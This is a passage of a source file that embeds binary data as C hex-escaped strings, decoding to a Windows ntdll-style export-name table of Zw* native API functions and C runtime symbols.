\"\\x67\\x65\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x49\\x6E\\x74\\x65\\x72\\x76\"   //ge.ZwQueryInterv\n/* 011980 */   \"\\x61\\x6C\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\"   //alProfile.ZwQuer\n/* 0119A0 */   \"\\x79\\x49\\x6F\\x43\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\"   //yIoCompletion.Zw\n/* 0119C0 */   \"\\x51\\x75\\x65\\x72\\x79\\x4B\\x65\\x79\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\"   //QueryKey.ZwQuery\n/* 0119E0 */   \"\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x56\\x61\\x6C\\x75\\x65\\x4B\\x65\\x79\"   //MultipleValueKey\n/* 011A00 */   \"\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x4D\\x75\\x74\\x61\\x6E\\x74\\x00\\x5A\"   //.ZwQueryMutant.Z\n/* 011A20 */   \"\\x77\\x51\\x75\\x65\\x72\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x51\"   //wQueryObject.ZwQ\n/* 011A40 */   \"\\x75\\x65\\x72\\x79\\x4F\\x70\\x65\\x6E\\x53\\x75\\x62\\x4B\\x65\\x79\\x73\\x00\"   //ueryOpenSubKeys.\n/* 011A60 */   \"\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x50\\x65\\x72\\x66\\x6F\\x72\\x6D\\x61\\x6E\"   //ZwQueryPerforman\n/* 011A80 */   \"\\x63\\x65\\x43\\x6F\\x75\\x6E\\x74\\x65\\x72\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\"   //ceCounter.ZwQuer\n/* 011AA0 */   \"\\x79\\x50\\x6F\\x72\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\"   //yPortInformation\n/* 011AC0 */   \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x51\"   //Process.ZwQueryQ\n/* 011AE0 */   \"\\x75\\x6F\\x74\\x61\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x46\"   //uotaInformationF\n/* 011B00 */   \"\\x69\\x6C\\x65\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x63\\x74\\x69\"   //ile.ZwQuerySecti\n/* 011B20 */   \"\\x6F\\x6E\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x53\\x65\\x63\\x75\\x72\\x69\"   //on.ZwQuerySecuri\n/* 011B40 */   \"\\x74\\x79\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\"   //tyObject.ZwQuery\n/* 011B60 */   \"\\x53\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\"   //Semaphore.ZwQuer\n/* 011B80 */   \"\\x79\\x53\\x79\\x6D\\x62\\x6F\\x6C\\x69\\x63\\x4C\\x69\\x6E\\x6B\\x4F\\x62\\x6A\"   //ySymbolicLinkObj\n/* 011BA0 */   \"\\x65\\x63\\x74\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x53\\x79\\x73\\x74\\x65\"   //ect.ZwQuerySyste\n/* 011BC0 */   \"\\x6D\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x6C\\x75\"   //mEnvironmentValu\n/* 011BE0 */   \"\\x65\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x53\\x79\\x73\\x74\\x65\\x6D\\x45\"   //e.ZwQuerySystemE\n/* 011C00 */   \"\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x6C\\x75\\x65\\x45\"   //nvironmentValueE\n/* 011C20 */   \"\\x78\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x53\\x79\\x73\\x74\\x65\\x6D\\x49\"   //x.ZwQuerySystemI\n/* 011C40 */   \"\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x51\\x75\\x65\"   //nformation.ZwQue\n/* 011C60 */   \"\\x72\\x79\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x5A\\x77\\x51\"   //rySystemTime.ZwQ\n/* 011C80 */   \"\\x75\\x65\\x72\\x79\\x54\\x69\\x6D\\x65\\x72\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\"   //ueryTimer.ZwQuer\n/* 011CA0 */   \"\\x79\\x54\\x69\\x6D\\x65\\x72\\x52\\x65\\x73\\x6F\\x6C\\x75\\x74\\x69\\x6F\\x6E\"   //yTimerResolution\n/* 011CC0 */   \"\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x4B\\x65\\x79\"   //.ZwQueryValueKey\n/* 011CE0 */   \"\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4D\"   //.ZwQueryVirtualM\n/* 011D00 */   \"\\x65\\x6D\\x6F\\x72\\x79\\x00\\x5A\\x77\\x51\\x75\\x65\\x72\\x79\\x56\\x6F\\x6C\"   //emory.ZwQueryVol\n/* 011D20 */   \"\\x75\\x6D\\x65\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x46\\x69\"   //umeInformationFi\n/* 011D40 */   \"\\x6C\\x65\\x00\\x5A\\x77\\x51\\x75\\x65\\x75\\x65\\x41\\x70\\x63\\x54\\x68\\x72\"   //le.ZwQueueApcThr\n/* 011D60 */   \"\\x65\\x61\\x64\\x00\\x5A\\x77\\x52\\x61\\x69\\x73\\x65\\x45\\x78\\x63\\x65\\x70\"   //ead.ZwRaiseExcep\n/* 011D80 */   \"\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x52\\x61\\x69\\x73\\x65\\x48\\x61\\x72\\x64\"   //tion.ZwRaiseHard\n/* 011DA0 */   \"\\x45\\x72\\x72\\x6F\\x72\\x00\\x5A\\x77\\x52\\x65\\x61\\x64\\x46\\x69\\x6C\\x65\"   //Error.ZwReadFile\n/* 011DC0 */   \"\\x00\\x5A\\x77\\x52\\x65\\x61\\x64\\x46\\x69\\x6C\\x65\\x53\\x63\\x61\\x74\\x74\"   //.ZwReadFileScatt\n/* 011DE0 */   \"\\x65\\x72\\x00\\x5A\\x77\\x52\\x65\\x61\\x64\\x52\\x65\\x71\\x75\\x65\\x73\\x74\"   //er.ZwReadRequest\n/* 011E00 */   \"\\x44\\x61\\x74\\x61\\x00\\x5A\\x77\\x52\\x65\\x61\\x64\\x56\\x69\\x72\\x74\\x75\"   //Data.ZwReadVirtu\n/* 011E20 */   \"\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x5A\\x77\\x52\\x65\\x67\\x69\\x73\"   //alMemory.ZwRegis\n/* 011E40 */   \"\\x74\\x65\\x72\\x54\\x68\\x72\\x65\\x61\\x64\\x54\\x65\\x72\\x6D\\x69\\x6E\\x61\"   //terThreadTermina\n/* 011E60 */   \"\\x74\\x65\\x50\\x6F\\x72\\x74\\x00\\x5A\\x77\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\"   //tePort.ZwRelease\n/* 011E80 */   \"\\x4B\\x65\\x79\\x65\\x64\\x45\\x76\\x65\\x6E\\x74\\x00\\x5A\\x77\\x52\\x65\\x6C\"   //KeyedEvent.ZwRel\n/* 011EA0 */   \"\\x65\\x61\\x73\\x65\\x4D\\x75\\x74\\x61\\x6E\\x74\\x00\\x5A\\x77\\x52\\x65\\x6C\"   //easeMutant.ZwRel\n/* 011EC0 */   \"\\x65\\x61\\x73\\x65\\x53\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\\x00\\x5A\\x77\"   //easeSemaphore.Zw\n/* 011EE0 */   \"\\x52\\x65\\x6D\\x6F\\x76\\x65\\x49\\x6F\\x43\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\"   //RemoveIoCompleti\n/* 011F00 */   \"\\x6F\\x6E\\x00\\x5A\\x77\\x52\\x65\\x6D\\x6F\\x76\\x65\\x50\\x72\\x6F\\x63\\x65\"   //on.ZwRemoveProce\n/* 011F20 */   \"\\x73\\x73\\x44\\x65\\x62\\x75\\x67\\x00\\x5A\\x77\\x52\\x65\\x6E\\x61\\x6D\\x65\"   //ssDebug.ZwRename\n/* 011F40 */   \"\\x4B\\x65\\x79\\x00\\x5A\\x77\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x4B\\x65\\x79\"   //Key.ZwReplaceKey\n/* 011F60 */   \"\\x00\\x5A\\x77\\x52\\x65\\x70\\x6C\\x79\\x50\\x6F\\x72\\x74\\x00\\x5A\\x77\\x52\"   //.ZwReplyPort.ZwR\n/* 011F80 */   \"\\x65\\x70\\x6C\\x79\\x57\\x61\\x69\\x74\\x52\\x65\\x63\\x65\\x69\\x76\\x65\\x50\"   //eplyWaitReceiveP\n/* 011FA0 */   \"\\x6F\\x72\\x74\\x00\\x5A\\x77\\x52\\x65\\x70\\x6C\\x79\\x57\\x61\\x69\\x74\\x52\"   //ort.ZwReplyWaitR\n/* 011FC0 */   \"\\x65\\x63\\x65\\x69\\x76\\x65\\x50\\x6F\\x72\\x74\\x45\\x78\\x00\\x5A\\x77\\x52\"   //eceivePortEx.ZwR\n/* 011FE0 */   \"\\x65\\x70\\x6C\\x79\\x57\\x61\\x69\\x74\\x52\\x65\\x70\\x6C\\x79\\x50\\x6F\\x72\"   //eplyWaitReplyPor\n/* 012000 */   \"\\x74\\x00\\x5A\\x77\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x44\\x65\\x76\\x69\\x63\"   //t.ZwRequestDevic\n/* 012020 */   \"\\x65\\x57\\x61\\x6B\\x65\\x75\\x70\\x00\\x5A\\x77\\x52\\x65\\x71\\x75\\x65\\x73\"   //eWakeup.ZwReques\n/* 012040 */   \"\\x74\\x50\\x6F\\x72\\x74\\x00\\x5A\\x77\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x57\"   //tPort.ZwRequestW\n/* 012060 */   \"\\x61\\x69\\x74\\x52\\x65\\x70\\x6C\\x79\\x50\\x6F\\x72\\x74\\x00\\x5A\\x77\\x52\"   //aitReplyPort.ZwR\n/* 012080 */   \"\\x65\\x71\\x75\\x65\\x73\\x74\\x57\\x61\\x6B\\x65\\x75\\x70\\x4C\\x61\\x74\\x65\"   //equestWakeupLate\n/* 0120A0 */   \"\\x6E\\x63\\x79\\x00\\x5A\\x77\\x52\\x65\\x73\\x65\\x74\\x45\\x76\\x65\\x6E\\x74\"   //ncy.ZwResetEvent\n/* 0120C0 */   \"\\x00\\x5A\\x77\\x52\\x65\\x73\\x65\\x74\\x57\\x72\\x69\\x74\\x65\\x57\\x61\\x74\"   //.ZwResetWriteWat\n/* 0120E0 */   \"\\x63\\x68\\x00\\x5A\\x77\\x52\\x65\\x73\\x74\\x6F\\x72\\x65\\x4B\\x65\\x79\\x00\"   //ch.ZwRestoreKey.\n/* 012100 */   \"\\x5A\\x77\\x52\\x65\\x73\\x75\\x6D\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\"   //ZwResumeProcess.\n/* 012120 */   \"\\x5A\\x77\\x52\\x65\\x73\\x75\\x6D\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x5A\"   //ZwResumeThread.Z\n/* 012140 */   \"\\x77\\x53\\x61\\x76\\x65\\x4B\\x65\\x79\\x00\\x5A\\x77\\x53\\x61\\x76\\x65\\x4B\"   //wSaveKey.ZwSaveK\n/* 012160 */   \"\\x65\\x79\\x45\\x78\\x00\\x5A\\x77\\x53\\x61\\x76\\x65\\x4D\\x65\\x72\\x67\\x65\"   //eyEx.ZwSaveMerge\n/* 012180 */   \"\\x64\\x4B\\x65\\x79\\x73\\x00\\x5A\\x77\\x53\\x65\\x63\\x75\\x72\\x65\\x43\\x6F\"   //dKeys.ZwSecureCo\n/* 0121A0 */   \"\\x6E\\x6E\\x65\\x63\\x74\\x50\\x6F\\x72\\x74\\x00\\x5A\\x77\\x53\\x65\\x74\\x42\"   //nnectPort.ZwSetB\n/* 0121C0 */   \"\\x6F\\x6F\\x74\\x45\\x6E\\x74\\x72\\x79\\x4F\\x72\\x64\\x65\\x72\\x00\\x5A\\x77\"   //ootEntryOrder.Zw\n/* 0121E0 */   \"\\x53\\x65\\x74\\x42\\x6F\\x6F\\x74\\x4F\\x70\\x74\\x69\\x6F\\x6E\\x73\\x00\\x5A\"   //SetBootOptions.Z\n/* 012200 */   \"\\x77\\x53\\x65\\x74\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x54\\x68\\x72\\x65\\x61\"   //wSetContextThrea\n/* 012220 */   \"\\x64\\x00\\x5A\\x77\\x53\\x65\\x74\\x44\\x65\\x62\\x75\\x67\\x46\\x69\\x6C\\x74\"   //d.ZwSetDebugFilt\n/* 012240 */   \"\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\\x5A\\x77\\x53\\x65\\x74\\x44\\x65\\x66\"   //erState.ZwSetDef\n/* 012260 */   \"\\x61\\x75\\x6C\\x74\\x48\\x61\\x72\\x64\\x45\\x72\\x72\\x6F\\x72\\x50\\x6F\\x72\"   //aultHardErrorPor\n/* 012280 */   \"\\x74\\x00\\x5A\\x77\\x53\\x65\\x74\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x4C\\x6F\"   //t.ZwSetDefaultLo\n/* 0122A0 */   \"\\x63\\x61\\x6C\\x65\\x00\\x5A\\x77\\x53\\x65\\x74\\x44\\x65\\x66\\x61\\x75\\x6C\"   //cale.ZwSetDefaul\n/* 0122C0 */   \"\\x74\\x55\\x49\\x4C\\x61\\x6E\\x67\\x75\\x61\\x67\\x65\\x00\\x5A\\x77\\x53\\x65\"   //tUILanguage.ZwSe\n/* 0122E0 */   \"\\x74\\x45\\x61\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x53\\x65\\x74\\x45\\x76\\x65\"   //tEaFile.ZwSetEve\n/* 012300 */   \"\\x6E\\x74\\x00\\x5A\\x77\\x53\\x65\\x74\\x45\\x76\\x65\\x6E\\x74\\x42\\x6F\\x6F\"   //nt.ZwSetEventBoo\n/* 012320 */   \"\\x73\\x74\\x50\\x72\\x69\\x6F\\x72\\x69\\x74\\x79\\x00\\x5A\\x77\\x53\\x65\\x74\"   //stPriority.ZwSet\n/* 012340 */   \"\\x48\\x69\\x67\\x68\\x45\\x76\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x5A\\x77\"   //HighEventPair.Zw\n/* 012360 */   \"\\x53\\x65\\x74\\x48\\x69\\x67\\x68\\x57\\x61\\x69\\x74\\x4C\\x6F\\x77\\x45\\x76\"   //SetHighWaitLowEv\n/* 012380 */   \"\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x5A\\x77\\x53\\x65\\x74\\x49\\x6E\\x66\"   //entPair.ZwSetInf\n/* 0123A0 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x44\\x65\\x62\\x75\\x67\\x4F\\x62\\x6A\"   //ormationDebugObj\n/* 0123C0 */   \"\\x65\\x63\\x74\\x00\\x5A\\x77\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\"   //ect.ZwSetInforma\n/* 0123E0 */   \"\\x74\\x69\\x6F\\x6E\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x53\\x65\\x74\\x49\\x6E\"   //tionFile.ZwSetIn\n/* 012400 */   \"\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x4A\\x6F\\x62\\x4F\\x62\\x6A\\x65\"   //formationJobObje\n/* 012420 */   \"\\x63\\x74\\x00\\x5A\\x77\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\"   //ct.ZwSetInformat\n/* 012440 */   \"\\x69\\x6F\\x6E\\x4B\\x65\\x79\\x00\\x5A\\x77\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\"   //ionKey.ZwSetInfo\n/* 012460 */   \"\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\"   //rmationObject.Zw\n/* 012480 */   \"\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x50\\x72\"   //SetInformationPr\n/* 0124A0 */   \"\\x6F\\x63\\x65\\x73\\x73\\x00\\x5A\\x77\\x53\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\"   //ocess.ZwSetInfor\n/* 0124C0 */   \"\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x5A\\x77\\x53\"   //mationThread.ZwS\n/* 0124E0 */   \"\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x54\\x6F\\x6B\"   //etInformationTok\n/* 012500 */   \"\\x65\\x6E\\x00\\x5A\\x77\\x53\\x65\\x74\\x49\\x6E\\x74\\x65\\x72\\x76\\x61\\x6C\"   //en.ZwSetInterval\n/* 012520 */   \"\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x00\\x5A\\x77\\x53\\x65\\x74\\x49\\x6F\\x43\"   //Profile.ZwSetIoC\n/* 012540 */   \"\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x53\\x65\\x74\\x4C\"   //ompletion.ZwSetL\n/* 012560 */   \"\\x64\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x00\\x5A\\x77\\x53\\x65\\x74\\x4C\"   //dtEntries.ZwSetL\n/* 012580 */   \"\\x6F\\x77\\x45\\x76\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x5A\\x77\\x53\\x65\"   //owEventPair.ZwSe\n/* 0125A0 */   \"\\x74\\x4C\\x6F\\x77\\x57\\x61\\x69\\x74\\x48\\x69\\x67\\x68\\x45\\x76\\x65\\x6E\"   //tLowWaitHighEven\n/* 0125C0 */   \"\\x74\\x50\\x61\\x69\\x72\\x00\\x5A\\x77\\x53\\x65\\x74\\x51\\x75\\x6F\\x74\\x61\"   //tPair.ZwSetQuota\n/* 0125E0 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x46\\x69\\x6C\\x65\\x00\"   //InformationFile.\n/* 012600 */   \"\\x5A\\x77\\x53\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\"   //ZwSetSecurityObj\n/* 012620 */   \"\\x65\\x63\\x74\\x00\\x5A\\x77\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x45\"   //ect.ZwSetSystemE\n/* 012640 */   \"\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x6C\\x75\\x65\\x00\"   //nvironmentValue.\n/* 012660 */   \"\\x5A\\x77\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x45\\x6E\\x76\\x69\\x72\"   //ZwSetSystemEnvir\n/* 012680 */   \"\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x6C\\x75\\x65\\x45\\x78\\x00\\x5A\\x77\"   //onmentValueEx.Zw\n/* 0126A0 */   \"\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\"   //SetSystemInforma\n/* 0126C0 */   \"\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x53\\x65\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\"   //tion.ZwSetSystem\n/* 0126E0 */   \"\\x50\\x6F\\x77\\x65\\x72\\x53\\x74\\x61\\x74\\x65\\x00\\x5A\\x77\\x53\\x65\\x74\"   //PowerState.ZwSet\n/* 012700 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x54\\x69\\x6D\\x65\\x00\\x5A\\x77\\x53\\x65\\x74\"   //SystemTime.ZwSet\n/* 012720 */   \"\\x54\\x68\\x72\\x65\\x61\\x64\\x45\\x78\\x65\\x63\\x75\\x74\\x69\\x6F\\x6E\\x53\"   //ThreadExecutionS\n/* 012740 */   \"\\x74\\x61\\x74\\x65\\x00\\x5A\\x77\\x53\\x65\\x74\\x54\\x69\\x6D\\x65\\x72\\x00\"   //tate.ZwSetTimer.\n/* 012760 */   \"\\x5A\\x77\\x53\\x65\\x74\\x54\\x69\\x6D\\x65\\x72\\x52\\x65\\x73\\x6F\\x6C\\x75\"   //ZwSetTimerResolu\n/* 012780 */   \"\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x53\\x65\\x74\\x55\\x75\\x69\\x64\\x53\\x65\"   //tion.ZwSetUuidSe\n/* 0127A0 */   \"\\x65\\x64\\x00\\x5A\\x77\\x53\\x65\\x74\\x56\\x61\\x6C\\x75\\x65\\x4B\\x65\\x79\"   //ed.ZwSetValueKey\n/* 0127C0 */   \"\\x00\\x5A\\x77\\x53\\x65\\x74\\x56\\x6F\\x6C\\x75\\x6D\\x65\\x49\\x6E\\x66\\x6F\"   //.ZwSetVolumeInfo\n/* 0127E0 */   \"\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x53\\x68\"   //rmationFile.ZwSh\n/* 012800 */   \"\\x75\\x74\\x64\\x6F\\x77\\x6E\\x53\\x79\\x73\\x74\\x65\\x6D\\x00\\x5A\\x77\\x53\"   //utdownSystem.ZwS\n/* 012820 */   \"\\x69\\x67\\x6E\\x61\\x6C\\x41\\x6E\\x64\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x53\"   //ignalAndWaitForS\n/* 012840 */   \"\\x69\\x6E\\x67\\x6C\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x53\\x74\"   //ingleObject.ZwSt\n/* 012860 */   \"\\x61\\x72\\x74\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x00\\x5A\\x77\\x53\\x74\\x6F\"   //artProfile.ZwSto\n/* 012880 */   \"\\x70\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x00\\x5A\\x77\\x53\\x75\\x73\\x70\\x65\"   //pProfile.ZwSuspe\n/* 0128A0 */   \"\\x6E\\x64\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x5A\\x77\\x53\\x75\\x73\\x70\"   //ndProcess.ZwSusp\n/* 0128C0 */   \"\\x65\\x6E\\x64\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x5A\\x77\\x53\\x79\\x73\\x74\"   //endThread.ZwSyst\n/* 0128E0 */   \"\\x65\\x6D\\x44\\x65\\x62\\x75\\x67\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x00\\x5A\"   //emDebugControl.Z\n/* 012900 */   \"\\x77\\x54\\x65\\x72\\x6D\\x69\\x6E\\x61\\x74\\x65\\x4A\\x6F\\x62\\x4F\\x62\\x6A\"   //wTerminateJobObj\n/* 012920 */   \"\\x65\\x63\\x74\\x00\\x5A\\x77\\x54\\x65\\x72\\x6D\\x69\\x6E\\x61\\x74\\x65\\x50\"   //ect.ZwTerminateP\n/* 012940 */   \"\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x5A\\x77\\x54\\x65\\x72\\x6D\\x69\\x6E\\x61\"   //rocess.ZwTermina\n/* 012960 */   \"\\x74\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x5A\\x77\\x54\\x65\\x73\\x74\\x41\"   //teThread.ZwTestA\n/* 012980 */   \"\\x6C\\x65\\x72\\x74\\x00\\x5A\\x77\\x54\\x72\\x61\\x63\\x65\\x45\\x76\\x65\\x6E\"   //lert.ZwTraceEven\n/* 0129A0 */   \"\\x74\\x00\\x5A\\x77\\x54\\x72\\x61\\x6E\\x73\\x6C\\x61\\x74\\x65\\x46\\x69\\x6C\"   //t.ZwTranslateFil\n/* 0129C0 */   \"\\x65\\x50\\x61\\x74\\x68\\x00\\x5A\\x77\\x55\\x6E\\x6C\\x6F\\x61\\x64\\x44\\x72\"   //ePath.ZwUnloadDr\n/* 0129E0 */   \"\\x69\\x76\\x65\\x72\\x00\\x5A\\x77\\x55\\x6E\\x6C\\x6F\\x61\\x64\\x4B\\x65\\x79\"   //iver.ZwUnloadKey\n/* 012A00 */   \"\\x00\\x5A\\x77\\x55\\x6E\\x6C\\x6F\\x61\\x64\\x4B\\x65\\x79\\x45\\x78\\x00\\x5A\"   //.ZwUnloadKeyEx.Z\n/* 012A20 */   \"\\x77\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\\x55\\x6E\"   //wUnlockFile.ZwUn\n/* 012A40 */   \"\\x6C\\x6F\\x63\\x6B\\x56\\x69\\x72\\x74\\x75\\x61\\x6C\\x4D\\x65\\x6D\\x6F\\x72\"   //lockVirtualMemor\n/* 012A60 */   \"\\x79\\x00\\x5A\\x77\\x55\\x6E\\x6D\\x61\\x70\\x56\\x69\\x65\\x77\\x4F\\x66\\x53\"   //y.ZwUnmapViewOfS\n/* 012A80 */   \"\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x5A\\x77\\x56\\x64\\x6D\\x43\\x6F\\x6E\\x74\"   //ection.ZwVdmCont\n/* 012AA0 */   \"\\x72\\x6F\\x6C\\x00\\x5A\\x77\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x44\\x65\\x62\"   //rol.ZwWaitForDeb\n/* 012AC0 */   \"\\x75\\x67\\x45\\x76\\x65\\x6E\\x74\\x00\\x5A\\x77\\x57\\x61\\x69\\x74\\x46\\x6F\"   //ugEvent.ZwWaitFo\n/* 012AE0 */   \"\\x72\\x4B\\x65\\x79\\x65\\x64\\x45\\x76\\x65\\x6E\\x74\\x00\\x5A\\x77\\x57\\x61\"   //rKeyedEvent.ZwWa\n/* 012B00 */   \"\\x69\\x74\\x46\\x6F\\x72\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x4F\\x62\\x6A\"   //itForMultipleObj\n/* 012B20 */   \"\\x65\\x63\\x74\\x73\\x00\\x5A\\x77\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x53\\x69\"   //ects.ZwWaitForSi\n/* 012B40 */   \"\\x6E\\x67\\x6C\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x5A\\x77\\x57\\x61\\x69\"   //ngleObject.ZwWai\n/* 012B60 */   \"\\x74\\x48\\x69\\x67\\x68\\x45\\x76\\x65\\x6E\\x74\\x50\\x61\\x69\\x72\\x00\\x5A\"   //tHighEventPair.Z\n/* 012B80 */   \"\\x77\\x57\\x61\\x69\\x74\\x4C\\x6F\\x77\\x45\\x76\\x65\\x6E\\x74\\x50\\x61\\x69\"   //wWaitLowEventPai\n/* 012BA0 */   \"\\x72\\x00\\x5A\\x77\\x57\\x72\\x69\\x74\\x65\\x46\\x69\\x6C\\x65\\x00\\x5A\\x77\"   //r.ZwWriteFile.Zw\n/* 012BC0 */   \"\\x57\\x72\\x69\\x74\\x65\\x46\\x69\\x6C\\x65\\x47\\x61\\x74\\x68\\x65\\x72\\x00\"   //WriteFileGather.\n/* 012BE0 */   \"\\x5A\\x77\\x57\\x72\\x69\\x74\\x65\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x44\\x61\"   //ZwWriteRequestDa\n/* 012C00 */   \"\\x74\\x61\\x00\\x5A\\x77\\x57\\x72\\x69\\x74\\x65\\x56\\x69\\x72\\x74\\x75\\x61\"   //ta.ZwWriteVirtua\n/* 012C20 */   \"\\x6C\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x5A\\x77\\x59\\x69\\x65\\x6C\\x64\\x45\"   //lMemory.ZwYieldE\n/* 012C40 */   \"\\x78\\x65\\x63\\x75\\x74\\x69\\x6F\\x6E\\x00\\x5F\\x43\\x49\\x63\\x6F\\x73\\x00\"   //xecution._CIcos.\n/* 012C60 */   \"\\x5F\\x43\\x49\\x6C\\x6F\\x67\\x00\\x5F\\x43\\x49\\x70\\x6F\\x77\\x00\\x5F\\x43\"   //_CIlog._CIpow._C\n/* 012C80 */   \"\\x49\\x73\\x69\\x6E\\x00\\x5F\\x43\\x49\\x73\\x71\\x72\\x74\\x00\\x5F\\x5F\\x69\"   //Isin._CIsqrt.__i\n/* 012CA0 */   \"\\x73\\x61\\x73\\x63\\x69\\x69\\x00\\x5F\\x5F\\x69\\x73\\x63\\x73\\x79\\x6D\\x00\"   //sascii.__iscsym.\n/* 012CC0 */   \"\\x5F\\x5F\\x69\\x73\\x63\\x73\\x79\\x6D\\x66\\x00\\x5F\\x5F\\x74\\x6F\\x61\\x73\"   //__iscsymf.__toas\n/* 012CE0 */   \"\\x63\\x69\\x69\\x00\\x5F\\x61\\x6C\\x6C\\x64\\x69\\x76\\x00\\x5F\\x61\\x6C\\x6C\" 